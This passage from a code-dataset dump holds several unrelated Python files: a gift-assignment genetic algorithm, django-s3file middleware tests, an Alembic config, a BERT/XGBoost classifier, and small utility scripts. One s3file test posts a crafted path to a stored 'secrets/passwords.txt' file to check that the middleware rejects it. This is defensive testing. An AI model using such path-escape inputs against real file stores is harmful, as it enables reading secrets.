Find the indexes of each child that currently receives each available gift\n children_of_gifts = dict()\n for gift in available_gifts:\n children_of_gifts[gift] = [index + self.n_triplets + self.n_twins for index, value in\n enumerate(individual[self.n_triplets + self.n_twins:]) if value == gift]\n\n # Choose an available gift randomly and, therefore, the available children to swap its gifts\n gift_chosen = choice(available_gifts)\n available_children = children_of_gifts[gift_chosen]\n shuffle(available_children)\n\n # Find the indexes of the triplets/twins that will swap its gifts\n if not_only_child < self.n_triplets:\n if not_only_child % 3 == 0:\n min_index = not_only_child\n max_index = not_only_child + 3\n elif not_only_child - 1 % 3 == 0:\n min_index = not_only_child - 1\n max_index = not_only_child + 2\n else:\n min_index = not_only_child - 2\n max_index = not_only_child + 1\n else:\n if (not_only_child - self.n_triplets) % 2 == 0:\n min_index = not_only_child\n max_index = not_only_child + 2\n else:\n min_index = not_only_child - 1\n max_index = not_only_child + 1\n\n # Swap triplets/twins gifts with the gift of the available children\n k = 0\n for index in range(min_index, max_index):\n individual[index], individual[available_children[k]] = individual[available_children[k]],\\\n individual[index]\n k += 1\n\n return individual\n","repo_name":"isabelatelles/mc906_collab","sub_path":"p2/modeling.py","file_name":"modeling.py","file_ext":"py","file_size_in_byte":7980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73948786810","text":"import os\n\nimport pytest\nfrom django.core.exceptions import PermissionDenied\nfrom django.core.files.base import ContentFile\nfrom django.core.files.uploadedfile import SimpleUploadedFile\n\nfrom s3file.middleware import S3FileMiddleware\nfrom s3file.storages import get_aws_location, storage\n\n\nclass TestS3FileMiddleware:\n def test_get_files_from_storage(self, freeze_upload_folder):\n content = b\"test_get_files_from_storage\"\n name = storage.save(\n \"tmp/s3file/test_get_files_from_storage\", ContentFile(content)\n )\n files = S3FileMiddleware.get_files_from_storage(\n [os.path.join(get_aws_location(), name)],\n \"VRIPlI1LCjUh1EtplrgxQrG8gSAaIwT48mMRlwaCytI\",\n )\n file = next(files)\n assert file.read() == content\n\n def test_process_request(self, freeze_upload_folder, rf):\n uploaded_file = SimpleUploadedFile(\"uploaded_file.txt\", b\"uploaded\")\n request = rf.post(\"/\", data={\"file\": uploaded_file})\n S3FileMiddleware(lambda x: None)(request)\n assert request.FILES.getlist(\"file\")\n assert request.FILES.get(\"file\").read() == b\"uploaded\"\n\n storage.save(\"tmp/s3file/s3_file.txt\", ContentFile(b\"s3file\"))\n request = rf.post(\n \"/\",\n data={\n \"file\": \"custom/location/tmp/s3file/s3_file.txt\",\n \"s3file\": \"file\",\n \"file-s3f-signature\": \"VRIPlI1LCjUh1EtplrgxQrG8gSAaIwT48mMRlwaCytI\",\n },\n )\n S3FileMiddleware(lambda x: None)(request)\n assert request.FILES.getlist(\"file\")\n assert request.FILES.get(\"file\").read() == b\"s3file\"\n\n def test_process_request__location_escape(self, freeze_upload_folder, rf):\n storage.save(\"secrets/passwords.txt\", ContentFile(b\"keep this secret\"))\n request = rf.post(\n \"/\",\n data={\n \"file\": \"custom/location/secrets/passwords.txt\",\n \"s3file\": \"file\",\n \"file-s3f-signature\": \"VRIPlI1LCjUh1EtplrgxQrG8gSAaIwT48mMRlwaCytI\",\n },\n )\n with pytest.raises(PermissionDenied) as e:\n S3FileMiddleware(lambda x: None)(request)\n assert \"Illegal signature!\" in str(e.value)\n\n def test_process_request__multiple_files(self, freeze_upload_folder, rf):\n storage.save(\"tmp/s3file/s3_file.txt\", ContentFile(b\"s3file\"))\n storage.save(\"tmp/s3file/s3_other_file.txt\", ContentFile(b\"other s3file\"))\n request = rf.post(\n \"/\",\n data={\n \"file\": [\n \"custom/location/tmp/s3file/s3_file.txt\",\n \"custom/location/tmp/s3file/s3_other_file.txt\",\n ],\n \"file-s3f-signature\": \"VRIPlI1LCjUh1EtplrgxQrG8gSAaIwT48mMRlwaCytI\",\n \"other_file-s3f-signature\": \"VRIPlI1LCjUh1EtplrgxQrG8gSAaIwT48mMRlwaCytI\",\n \"s3file\": [\"file\", \"other_file\"],\n },\n )\n S3FileMiddleware(lambda x: None)(request)\n files = request.FILES.getlist(\"file\")\n assert files[0].read() == b\"s3file\"\n assert files[1].read() == b\"other s3file\"\n\n def test_process_request__no_location(self, freeze_upload_folder, rf, settings):\n settings.AWS_LOCATION = \"\"\n uploaded_file = SimpleUploadedFile(\"uploaded_file.txt\", b\"uploaded\")\n request = rf.post(\"/\", data={\"file\": uploaded_file})\n S3FileMiddleware(lambda x: None)(request)\n assert request.FILES.getlist(\"file\")\n assert request.FILES.get(\"file\").read() == b\"uploaded\"\n\n storage.save(\"tmp/s3file/s3_file.txt\", ContentFile(b\"s3file\"))\n request = rf.post(\n \"/\",\n data={\n \"file\": \"tmp/s3file/s3_file.txt\",\n \"s3file\": \"file\",\n \"file-s3f-signature\": \"pJYaM4x7RzLDLVXWuphK2dMqqc0oLr_jZFasfGU7BhU\",\n },\n )\n S3FileMiddleware(lambda x: None)(request)\n assert request.FILES.getlist(\"file\")\n assert request.FILES.get(\"file\").read() == b\"s3file\"\n\n def test_process_request__no_file(self, freeze_upload_folder, rf, caplog):\n request = rf.post(\n \"/\",\n data={\n \"file\": \"custom/location/tmp/s3file/does_not_exist.txt\",\n \"s3file\": \"file\",\n \"file-s3f-signature\": \"VRIPlI1LCjUh1EtplrgxQrG8gSAaIwT48mMRlwaCytI\",\n },\n )\n S3FileMiddleware(lambda x: None)(request)\n assert not request.FILES.getlist(\"file\")\n assert (\n \"File not found: custom/location/tmp/s3file/does_not_exist.txt\"\n in caplog.text\n )\n\n def test_process_request__no_signature(self, rf, caplog):\n request = rf.post(\n \"/\", data={\"file\": \"tmp/s3file/does_not_exist.txt\", \"s3file\": \"file\"}\n )\n with pytest.raises(PermissionDenied) as e:\n S3FileMiddleware(lambda x: None)(request)\n assert \"No signature provided.\" in str(e.value)\n\n def test_process_request__wrong_signature(self, rf, caplog):\n request = rf.post(\n \"/\",\n data={\n \"file\": \"tmp/s3file/does_not_exist.txt\",\n \"s3file\": \"file\",\n \"file-s3f-signature\": \"fake\",\n },\n )\n with pytest.raises(PermissionDenied) as e:\n S3FileMiddleware(lambda x: None)(request)\n assert \"Illegal signature!\" in str(e.value)\n\n def test_sign_s3_key_prefix(self, rf):\n assert (\n S3FileMiddleware.sign_s3_key_prefix(\"test/test\")\n == \"a8KINhIf1IpSD5sgdXE4wEQodZorq_8CmwkqZ5V6nr4\"\n )\n","repo_name":"codingjoe/django-s3file","sub_path":"tests/test_middleware.py","file_name":"test_middleware.py","file_ext":"py","file_size_in_byte":5627,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"78"} +{"seq_id":"74311877690","text":"import os\nfrom pathlib import Path\nfrom dotenv import load_dotenv\nfrom alembic import *\nfrom logging.config import fileConfig\nfrom alembic.util import CommandError\nfrom sqlalchemy import engine_from_config\nfrom sqlalchemy import pool\n\nsys.path.append(str(Path(__file__).resolve().parents[1]))\n\n# Add the 'app' folder to sys.path\nfrom app.models.Models import User, Company, Action, Quiz, Question, Option\nfrom app.models.BaseModel import Base\n\n\n# Load environment variables from .env file\nload_dotenv()\n\n# this is the Alembic Config object, which provides\n# access to the values within the .ini file in use.\nconfig = context.config\n\n# Interpret the config file for Python logging.\n# This line sets up loggers basically.\nif config.config_file_name is not None:\n fileConfig(config.config_file_name)\n\n# add your model's MetaData object here\n# for 'autogenerate' support\n# from myapp import mymodel\n# target_metadata = mymodel.Base.metadata\ntarget_metadata = Base.metadata\n\n\n\n\ndef run_migrations_offline() -> None:\n \"\"\"Run migrations in 'offline' mode.\n\n This configures the context with just a URL\n and not an Engine, though an Engine is acceptable\n here as well. By skipping the Engine creation\n we don't even need a DBAPI to be available.\n\n Calls to context.execute() here emit the given string to the\n script output.\n \"\"\"\n url = os.getenv(\"DB_PATH\")\n\n if not url:\n raise ValueError(\"DB_PATH environment variable is not set\")\n\n config.set_main_option(\"sqlalchemy.url\", url)\n\n context.configure(\n url=url,\n target_metadata=target_metadata,\n literal_binds=True,\n dialect_opts={\"paramstyle\": \"named\"},\n )\n\n with context.begin_transaction():\n context.run_migrations()\n\ndef run_migrations_online() -> None:\n \"\"\"Run migrations in 'online' mode.\n\n In this scenario we need to create an Engine\n and associate a connection with the context.\n \"\"\"\n url = os.getenv(\"DB_PATH\")\n\n if not url:\n raise ValueError(\"DB_PATH environment variable is not set\")\n\n config.set_main_option(\"sqlalchemy.url\", url)\n\n connectable = engine_from_config(\n config.get_section(config.config_ini_section, {}),\n prefix=\"sqlalchemy.\",\n poolclass=pool.NullPool,\n )\n\n with connectable.connect() as connection:\n context.configure(\n connection=connection, target_metadata=target_metadata\n )\n\n with context.begin_transaction():\n try:\n context.run_migrations()\n except CommandError as e:\n if \"Can't locate revision identified by\" in str(e):\n print(f'Migration error: {e}')\n else:\n raise e\n\n\nif context.is_offline_mode():\n run_migrations_offline()\nelse:\n run_migrations_online()\n","repo_name":"kindude/Internship-Backend","sub_path":"alembic/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42491543395","text":"import json\nimport spacy\nimport os\nfrom bert_embedding import BertEmbedding\nimport xgboost as xgb\nimport numpy as np\n\n\nfrom bert_sentence_classifier.test_bert_classifier import load_or_create_bert_embedding_for_sentence, \\\n get_or_create_sentence_embedding, calculate_embedding, create_sent_offset\n\nnlp = spacy.load(\"en_core_web_sm\",disable=[\"ner\"])\n\n\ndef create_questions(root_folder:str):\n sentences = []\n for file in os.listdir(root_folder):\n if file.endswith(\".json\"):\n data = json.load(open(os.path.join(root_folder,file)))\n for item in data:\n question_text = item[\"question\"]\n sentences.append(question_text)\n return sentences\n\ndef create_answers(root_folder:str):\n answers = []\n for file in os.listdir(root_folder):\n if file.endswith(\".json\"):\n data = json.load(open(os.path.join(root_folder,file)))\n for item in data:\n question_text = item[\"answer\"]\n doc = nlp(question_text)\n for sent in doc.sents:\n answers.append(str(sent))\n return answers\n\ndef train_xgb_model(model_path:str,sentence_embedding,labels):\n train = np.zeros((len(sentence_embedding),len(sentence_embedding[0])))\n for i,data in enumerate(sentence_embedding):\n train[i] = data\n dtrain = xgb.DMatrix(train, label=labels)\n param = {'max_depth': 4, 'eta': 1, 'objective': 'multi:softmax'}\n param[\"num_class\"] = 2\n param['nthread'] = 8\n param['eval_metric'] = 'auc'\n num_round = 700\n bst_model = xgb.train(param, dtrain, num_round)\n bst_model.save_model(model_path)\n return bst_model\n\ndef predict_on_alzheimer_data(model,embedding_method:str = \"CLS\"):\n import pickle\n sentence_embedding_file_path = \"/Users/zhendongwang/Documents/projects/is/alzheimer/bert_sentence_classifier/data/bert-old-reddit-sent-embedding.pkl\"\n sentence_docId_map_file_path = \"/Users/zhendongwang/Documents/projects/is/alzheimer/bert_sentence_classifier/data/train/sentId_docId_map.pkl\"\n sentId_docId_map = pickle.load(open(sentence_docId_map_file_path,\"rb\"))\n\n\n reddit_embedding = pickle.load(open(sentence_embedding_file_path,\"rb\"))\n sentId_offset_map,sentId_sentlen_map = create_sent_offset(sentId_docId_map,reddit_embedding)\n\n reddit_sentence_embedding = []\n for sent_embedding in reddit_embedding:\n tokens = sent_embedding[0]\n embedding = sent_embedding[1]\n if len(tokens) == 0:\n reddit_sentence_embedding.append(None)\n else:\n reddit_sentence_embedding.append(calculate_embedding(tokens,embedding,embedding_method))\n\n test = np.zeros((len(reddit_sentence_embedding),len(reddit_sentence_embedding[0])))\n for i,embedding in enumerate(reddit_sentence_embedding):\n test[i] = embedding\n dtest = xgb.DMatrix(test)\n\n prediction = model.predict(dtest)\n doc_sentences_to_highlight = {}\n\n for i,is_question in enumerate(prediction):\n if is_question == 1:\n doc_id = sentId_docId_map[i]\n if doc_id not in doc_sentences_to_highlight:\n doc_sentences_to_highlight[doc_id] = []\n doc_sentences_to_highlight[doc_id].append({\n \"id\":i,\n \"start\":sentId_offset_map[i],\n \"end\":sentId_offset_map[i] + sentId_sentlen_map[i],\n })\n return doc_sentences_to_highlight\n\ndef dump_hiw_sentence(doc_sentences_to_highlight,annotation_root:str):\n for file in os.listdir(annotation_root):\n if file.endswith(\".json\"):\n json_file_path = os.path.join(annotation_root,file)\n data = json.load(open(json_file_path))\n doc_id = int(file.replace(\".json\",\"\"))\n if doc_id in doc_sentences_to_highlight:\n data[\"highlight_sent_hiw\"] = doc_sentences_to_highlight[doc_id]\n json.dump(data,open(json_file_path,\"w\"))\n\n\n\n\n\nif __name__ == '__main__':\n question_root = \"/Users/zhendongwang/Documents/projects/is/alzheimer/quora/data/questions\"\n answer_root = \"/Users/zhendongwang/Documents/projects/is/alzheimer/quora/data/answer\"\n annotation_root = \"/Users/zhendongwang/Documents/projects/is/alzheimer/bert_sentence_classifier/data/bert_annotation/users/bo_xie/annotations\"\n\n\n token_embedding_file_path = \"/Users/zhendongwang/Documents/projects/is/alzheimer/quora/data/embedding/all_sentence_embedding.pkl\"\n sentence_embedding_file_path = \"/Users/zhendongwang/Documents/projects/is/alzheimer/quora/data/embedding/sentence_embedding.pkl\"\n\n model_path = \"/Users/zhendongwang/Documents/projects/is/alzheimer/quora/data/model/cls_xgboost.bin\"\n\n\n questions = create_questions(question_root)\n answers = create_answers(answer_root)\n all_sentences = questions + answers\n labels = [1] * len(questions) + [0] * len(answers)\n\n bert_embedding = BertEmbedding(dataset_name=\"book_corpus_wiki_en_cased\")\n token_embedding = load_or_create_bert_embedding_for_sentence(token_embedding_file_path, all_sentences, bert_embedding)\n sentence_embedding = get_or_create_sentence_embedding(sentence_embedding_file_path,token_embedding,\"CLS\")\n\n model = train_xgb_model(model_path,sentence_embedding,labels)\n doc_sentences_to_highlight = predict_on_alzheimer_data(model,\"CLS\")\n dump_hiw_sentence(doc_sentences_to_highlight,annotation_root)\n\n\n","repo_name":"JoyDajunSpaceCraft/ADRDYuelyu","sub_path":"zhengdongModel/preprocess_quora.py","file_name":"preprocess_quora.py","file_ext":"py","file_size_in_byte":5362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14436443942","text":"# -*- coding: utf8 -*-\nimport pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom selenium.common.exceptions import WebDriverException, TimeoutException\n\n\npytest.app = \"https://www.disney.com/\" \n# pytest.data = { \"firstName\": \"tester\", \"lastName\": \"testing\", \"email address\":\"test1@yahoo.com\"\n\nload_timeout = 60\n\ndef pytest_addoption(parser):\n\tparser.addoption(\"--browser\", action=\"store\", default=\"chrome\", help=\"Browser for test\")\n\n@pytest.fixture(scope='session')\ndef browser(request):\n return request.config.getoption(\"--browser\")\n\n@pytest.fixture\ndef driver(request, browser):\n\tif \"chrome\" in browser.lower():\n\t\tcaps = webdriver.DesiredCapabilities.CHROME.copy()\n\t\tchrome_options = webdriver.ChromeOptions()\n\t\tchrome_options.add_argument('--ignore-certificate-errors')\n\t\tcaps['acceptInsecureCerts'] = True\n\t\tb = webdriver.Chrome(desired_capabilities = caps, options=chrome_options)\n\trequest.addfinalizer(lambda *args: b.quit())\n\treturn b\n\n@pytest.fixture()\ndef selenium(request, driver):\n\ttry:\n\t\tdriver.set_page_load_timeout(load_timeout)\n\t\tdriver.implicitly_wait(5)\n\t\tdriver.get(pytest.app)\n\texcept TimeoutException:\n\t\tprint (\"browser load timeout\")\n\treturn driver","repo_name":"githubmata/projects","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26214673441","text":"import argparse\n\n# Read filename\nparser = argparse.ArgumentParser(description='remove CONECT records, correct NMEs and CYSs')\nparser.add_argument('name', type=str, help='name of file for which to correct')\nargs = parser.parse_args()\n\n# Read lines\nwith open(args.name, \"r\") as f:\n lines = f.readlines()\n\n# Iterate through lines, copying them over to new list of lines\nglycan_residue_names = ['UYB', '4YB', 'VMB', '2MA', '0YB', '0FA', '0LB']\nnew_lines = []\nprevious_res_id = 0\nprevious_res_name = ''\nfor line in lines:\n if 'CONECT' in line: # Skip CONECT lines\n continue\n if 'TER' not in line and 'END' not in line and 'REMARK' not in line:\n current_res_name = line[17:20]\n current_res_id = int(line[23:26])\n if current_res_id != previous_res_id:\n if previous_res_name in glycan_residue_names:\n new_lines.append(\"TER\\n\") # add TER if the previous residue was a glycan residue\n if current_res_name == \"NME\":\n new_lines = new_lines[:len(new_lines)-1] # remove the TER before the NME\n if previous_res_name == \"NME\": \n new_lines.append(\"TER\\n\") # add TER after the NME and before starting the next residue\n previous_res_id = current_res_id\n previous_res_name = current_res_name\n if current_res_name == 'NME': # change C atom in NMEs to CH3\n atom = line[13:16]\n if atom == 'C ':\n line = line[:13] + 'CH3 ' + line[17:]\n if \"RBD\" in args.name:\n if current_res_name == 'CYS': # change CYS to CYX\n line = line[:17] + 'CYX' + line[20:]\n new_lines.append(line)\n\nwith open(args.name[:-4] + \"_final.pdb\", 'w') as f:\n f.writelines(new_lines)\n","repo_name":"choderalab/rbd-ace2-contact-analysis","sub_path":"additional_data/N501Y_WT/PDBs/correct_TER_NME_CYS_CONECT.py","file_name":"correct_TER_NME_CYS_CONECT.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"39915472899","text":"#!/usr/bin/env python3.5\n\nfrom vblist import *\nfrom dbg import openDbgMgr\nfrom delegator import *\nfrom sysutils import owndir\n\nwith openDbgMgr(\"vblist\") as dbgmgr:\n q = vbqueue(maxsize = 4)\n q.start_debugging()\n q.add(1)\n print(\"A single entry queue: {}\".format(q))\n print(\"Here are its attributes: {}\".format(owndir(q)))\n q.extend([2,3,4])\n print(\"Now with 1 through 4: {}\".format(q))\n print(\"In loop should have 4 lines printed:\")\n for n in q:\n print(\" {}\".format(n))\n print(\"q[3] = {}. It should be 4.\".format(q[3]))\n if q.add(5, dieOnFail=False):\n print(\"Add to full queue succeeded: {}\".format(q))\n else:\n print(\"Add to full queue failed gracefully\")\n try:\n q.add(6)\n print(\"Added 6: {}\".format(q))\n except BufferSizeError as e:\n print(\"add to a full queue failed: {}\".format(e))\n print(\"Removing {} from the queue, leaving {}\".format(q.next(), q))\n print(\"Trying next_or_else(howMany=3): get {}, leaving {}\".format(q.next_or_else(howMany=3), q))\n try:\n q.next()\n except Exception as e:\n print(\"Empty queue: {}\".format(e))\n try:\n print(\"next_or_else says hello: {}\".format(q.next_or_else(orElse=\"Hi!\")))\n except Exception as e:\n print(\"next_or_else failed. {}\".format(e))\n print(\"------------------------------------------------\")\n\n vbdeque.start_debugging()\n dq = vbdeque(maxsize = 4)\n dq.add(1)\n print(\"A single entry deque: {}\".format(dq))\n dq.extend([2,3,4])\n print(\"Now with 1 through 4: {}\".format(dq))\n print(\"In loop should have 4 lines printed:\")\n for n in dq:\n print(\" {}\".format(n))\n print(\"dq[3] = {}. It should be 4.\".format(dq[3]))\n if dq.add(5, dieOnFail=False):\n print(\"Add to full deque succeeded: {}\".format(dq))\n else:\n print(\"Add to full deque failed gracefully\")\n try:\n dq.add(6)\n print(\"Added 6: {}\".format(dq))\n except BufferSizeError as e:\n print(\"add to a full deque failed: {}\".format(e))\n print(\"Removing {} from the deque, leaving {}\".format(dq.next(), dq))\n print(\"Trying next_or_else(howMany=3): get {}, leaving {}\".format(dq.next_or_else(howMany=3), dq))\n try:\n dq.next()\n except Exception as e:\n print(\"Empty deque: {}\".format(e))\n try:\n print(\"next_or_else says hello: {}\".format(dq.next_or_else(orElse=\"Hi!\")))\n except Exception as e:\n print(\"next_or_else failed. {}\".format(e))\n dq.add(5.6)\n dq.prepend([1.2,3.4])\n print(\"After prepending [1.2,3.4]: {}\".format(dq))\n print(\"------------------------------------------------\")\n \n vbstack.start_debugging()\n stk = vbstack(maxsize = 4)\n stk.add(1)\n print(\"A single entry stack: {}\".format(stk))\n stk.extend([2,3,4])\n print(\"Now with 1 through 4: {}\".format(stk))\n print(\"In loop should have 4 lines printed:\")\n for n in stk:\n print(\" {}\".format(n))\n print(\"stk[3] = {}. It should be 4.\".format(stk[3]))\n if stk.push(5):\n print(\"Add to full stack succeeded: {}\".format(stk))\n else:\n print(\"Add to full stack failed gracefully\")\n try:\n stk.push(6)\n print(\"Added 6: {}\".format(stk))\n except BufferSizeError as e:\n print(\"add to a full stack failed: {}\".format(e))\n print(\"Removing {} from the stack, leaving {}\".format(stk.next(), stk))\n print(\"Trying next_or_else(howMany=3): get {}, leaving {}\".format(stk.next_or_else(howMany=3), stk))\n try:\n stk.next()\n except Exception as e:\n print(\"Empty stack: {}\".format(e))\n try:\n print(\"next_or_else says hello: {}\".format(stk.next_or_else(orElse=\"Hi!\")))\n except Exception as e:\n print(\"next_or_else failed. {}\".format(e))\n try: \n stk.extend([1.2,3.4])\n print(\"After appending [1.2,3.4]: {}\".format(stk))\n except Exception as e:\n print(\"extend failed: {}\".format(e))\n print(\"------------------------------------------------\")\n\n ## An example: the <code>typed_vblist</code> class\n\n ## Instances use the vetting function to assure that every entry has the correct type.\n\n class typed_vblist(vblist):\n def __init__(self, aType, iterable=[], maxsize = sys.maxsize, allowConversion=False):\n def vetter(data):\n print(\"Vet {}\".format(data))\n if not isinstance(data, aType):\n if allowConversion:\n return aType(data)\n else:\n msg = \"Data {2} of type {0} offered, but type {1} is expected.\"\n DbgMgr().err(ValueError(msg.format(type(data), aType, data)))\n else: \n return data\n super().__init__(iterable, maxsize = maxsize, vet = vetter)\n\n typed_vblist.start_debugging()\n tvbl = typed_vblist(int, allowConversion=True)\n\n tvbl = typed_vblist(int, maxsize = 4, allowConversion=True)\n tvbl.add(1)\n print(\"A single entry typed list: {}\".format(tvbl))\n tvbl.extend([2,3,4])\n print(\"Now with 1 through 4: {}\".format(tvbl))\n print(\"In loop should have 4 lines printed:\")\n for n in tvbl:\n print(\" {}\".format(n))\n print(\"tvbl[3] = {}. It should be 4.\".format(tvbl[3]))\n if tvbl.push(5):\n print(\"Add to full typed list succeeded: {}\".format(tvbl))\n else:\n print(\"Add to full typed list failed gracefully\")\n try:\n tvbl.push(6)\n print(\"Added 6: {}\".format(tvbl))\n except BufferSizeError as e:\n print(\"add to a full typed list failed: {}\".format(e))\n print(\"Removing {} from the typed list, leaving {}\".format(tvbl.next(), tvbl))\n print(\"Trying next_or_else(howMany=3): get {}, leaving {}\".format(tvbl.next_or_else(howMany=3), tvbl))\n try:\n tvbl.next()\n except Exception as e:\n print(\"Empty typed list: {}\".format(e))\n try:\n print(\"next_or_else says hello: {}\".format(tvbl.next_or_else(orElse=\"Hi!\")))\n except Exception as e:\n print(\"next_or_else failed. {}\".format(e))\n try: \n tvbl.extend([1.2,3.4])\n print(\"After appending [1.2,3.4]: {}\".format(tvbl))\n except Exception as e:\n print(\"extend failed: {}\".format(e))\n try:\n tvbl.add(\"abc\")\n print(\"Did not know 'abc' is an int literal! {}\".format(tvbl))\n except Exception as e:\n print(\"adding 'abc' failed:\\n\\t{}\".format(e))\n\n print(\"------------------------------------------------\")\n\n @Static_Delegator(\"_vbq\", source=vbqueue, excluded=set(\n (\"add\", \"append\", \"extend\", \"insert\", \"push\")\n ))\n class queue_that_grows:\n def __init__(self, iterator=[], maxsize = sys.maxsize, vet = None):\n object.__setattr__(self, \"_vbq\", vbqueue(iterator, maxsize, vet))\n self._vbq.start_debugging()\n\n\n def _handle_overflow(self, new_data, one_only):\n new_size = round(self._vbq.maxsize * 1.5)\n print(\"Enlarging queue limit from {} to {}\".format(self._vbq.maxsize, new_size))\n object.__setattr__(self, \"_vbq\", vbqueue(self._vbq, new_size, self._vbq.vet))\n return self.add(new_data) if one_only else self.extend(new_data)\n\n def add(self, what):\n try:\n return self._vbq.add(what)\n except BufferSizeError as err:\n return self._handle_overflow(what, True)\n\n def append(self, what): return self.add(what)\n\n def extend(self, iterable):\n try:\n self._vbq.extend(iterable)\n except BufferSizeError as err:\n return self._handle_overflow(iterable, False)\n\n def push(self, what): return self.push(what)\n\n def __str__(self):\n inherited = self._vbq.__str__()\n tail = inherited[inherited.find('('):]\n return self.__class__.__name__+tail\n\n qtg = queue_that_grows([1,2,3,4], maxsize=5)\n print(\"qtg._vbq is {}\".format(qtg))\n qtg.add(5)\n print(\"add 5 to qtg, getting: {}\".format(qtg))\n qtg.add(6)\n print(\"add 6 to qtg, getting: {}\".format(qtg))\n qtg.extend([7,8,9])\n print(\"add [7,8,9] to qtg, getting: {}\".format(qtg))\n\n","repo_name":"jonathan-brezin/lit-lib","sub_path":"libpy/doc/examples/vblist.test.py","file_name":"vblist.test.py","file_ext":"py","file_size_in_byte":7837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35997200135","text":"from jsonschema import validate\nfrom S import schemaRequest,schemaDomConst\nimport sys, getopt , os\nimport json\n\ndic = {\"WANA\":2,\"DPI\":1,\"TS\":3,\"VPN\":4,\"NAT\":5,\"ENDPOINT\":10}\n\n\ndef reqToArc(req,dupList):\n\tparts = req.split(\",\")\n\ttranslated = []\n\ts = 1\n\tfor p in range(1,len(parts)):\n\t\ttranslated.append([s,p+1])\n\t\tif parts[p] not in dupList:\n\t\t\ts = (p+1)\n\treturn translated\n\ndef boolToStr(inp):#aggiungo 0 all'inizio e alla fine perche' perche' si devono considerare gli ENDPOINT sui quali non so è assunto niente\n\n out = [int(i ==True ) for i in inp]\n st = \"[0,\"\n\n for i in range(len(out)):\n st += str(out[i])+\",\"\n \n st += \"0]\"\n\n return st\n\n#come richiesto dal modello e' necessario aggiungere un endpoint all' inizio e alla fine della lista dei vnf che ha numero 10\n# la funzione seguente converte la lista dei vnf in formato json nel formato adatto per .dzn\ndef vnfToString(listOfVnf):\n global dic\n out = \"[10,\"\n\n for x in listOfVnf:\n out += str(dic[x])+\",\"\n \n out += \"10]\"\n return out\n\ndef createDupList(listOfDupVnf):\n global dic\n\n out = \"\"\n for x in listOfDupVnf:\n out+=str(dic[x])+\",\"\n\n out = out[:-1]\n\n return out\n\ndef domainConstraintsToModel(listOfConst):\n\n global dic\n\n lenListOfConst = len(listOfConst)\n\n if lenListOfConst == 0:\n return str(1),\"[|0,0,0,0|]\"\n else:\n out = \"[|\"\n for i in range(lenListOfConst):#vengono settati i vari parametri 0 = numero dominio, 1= tipo vnf, 2= min, 3 = max\n out += str(listOfConst[i][0])+\",\"+ str(dic[listOfConst[i][1]])+ \",\"\\\n + str(listOfConst[i][2])+\",\"+ str(listOfConst[i][3]) +\"|\"\n out +=\"]\"\n return str(lenListOfConst),out\n\n#serve per controllare i file passati come input\ndef getSourceFile(argv):\n request = ''\n dConstraints=''\n outputfile = ''\n if len(sys.argv) <= 6:\n print('convertitore.py -r <request> -c <domain_constraints> -o <output_file> ')\n sys.exit(1)\n try:\n opts ,args= getopt.getopt(argv,\"hr:c:o:\")\n except getopt.GetoptError:\n print ('convertitore.py -r <request> -c <odomain_constraints> -o <output_file> ')\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print ('convertitore.py -r <request> -c <odomain_constraints> -o <output_file>')\n sys.exit()\n elif opt in (\"-r\"):\n request = arg\n if not (os.path.isfile(request)):\n print(\"file \"+ request+ \" doesn't exist\")\n sys.exit(1)\n elif opt in (\"-c\"):\n dConstraints = arg\n if not (os.path.isfile(dConstraints)):\n print(\"file \"+ dConstraints+ \" doesn't exist\")\n sys.exit(1)\n elif opt in (\"-o\"):\n outputfile = arg\n\n return request ,dConstraints, outputfile\n\n\ndef fromReqsJsontoDzn( userReq, domConst,fileOut):\n\n with open(userReq) as inpReq: \n requestObject = json.load(inpReq)\n\n with open(domConst) as inpConst: \n constList = json.load(inpConst)\n\n validate(requestObject, schemaRequest ) #convalida il formato json delle richieste secondo lo schema definito nell'articolo\n validate(constList, schemaDomConst ) #convalida il formato json dei domain constraint secondo lo schema definito nell'articolo\n\n vnfarcs= reqToArc(vnfToString(requestObject[\"vnfList\"]).strip('[]'), createDupList(requestObject[\"dupList\"]) )\n\n\n #viene convertito in formato .dzn il request-Tree\n str_vnf_arcs = \"[|\"\n for x in range(0,len(vnfarcs)):\n for y in range(2):\n str_vnf_arcs += str(vnfarcs[x][y])+\",\"\n str_vnf_arcs = str_vnf_arcs[:-1]\n str_vnf_arcs += \"|\"\n str_vnf_arcs += \"]\"\n\n\n nDom , nDomString = domainConstraintsToModel(constList)\n\n out = \"start_domain = \"+str(requestObject[\"src\"])+\";\\n\"\n out += \"target_domain = \"+ str(requestObject[\"dst\"])+\";\\n\"\n out += \"vnflist_size = \"+ str (len(requestObject[\"vnfList\"]) + 2)+\";\\n\" #2 perche' si contano gli endpoint\n out += \"vnflist = \"+ vnfToString(requestObject[\"vnfList\"])+\";\\n\" #lista dei vnf con l'aggiunta degli ENDPOINT all' inizio e alla fine\n out += \"vnf_arcs = \"+ str_vnf_arcs +\";\\n\"# request-Tree\n out += \"proximity_to_source = \" + boolToStr(requestObject[\"prox_to_src\"]) +\";\\n\"\n out += \"proximity_to_destination = \" + boolToStr(requestObject[\"prox_to_dst\"]) +\";\\n\"\n out += \"n_domain_constraints = \" + nDom +\";\\n\"\n out += \"domain_constraints = \" + nDomString + \";\\n\"\n\n\n if (os.path.dirname(fileOut)):\n os.makedirs(os.path.dirname(fileOut), exist_ok=True)\n\n with open(fileOut, 'w+') as outfile:\n outfile.write(out)\n \n\n#MAIN \n\nif __name__ == \"__main__\":\n\n req, dConst, fileOut = getSourceFile(sys.argv[1:])\n\n 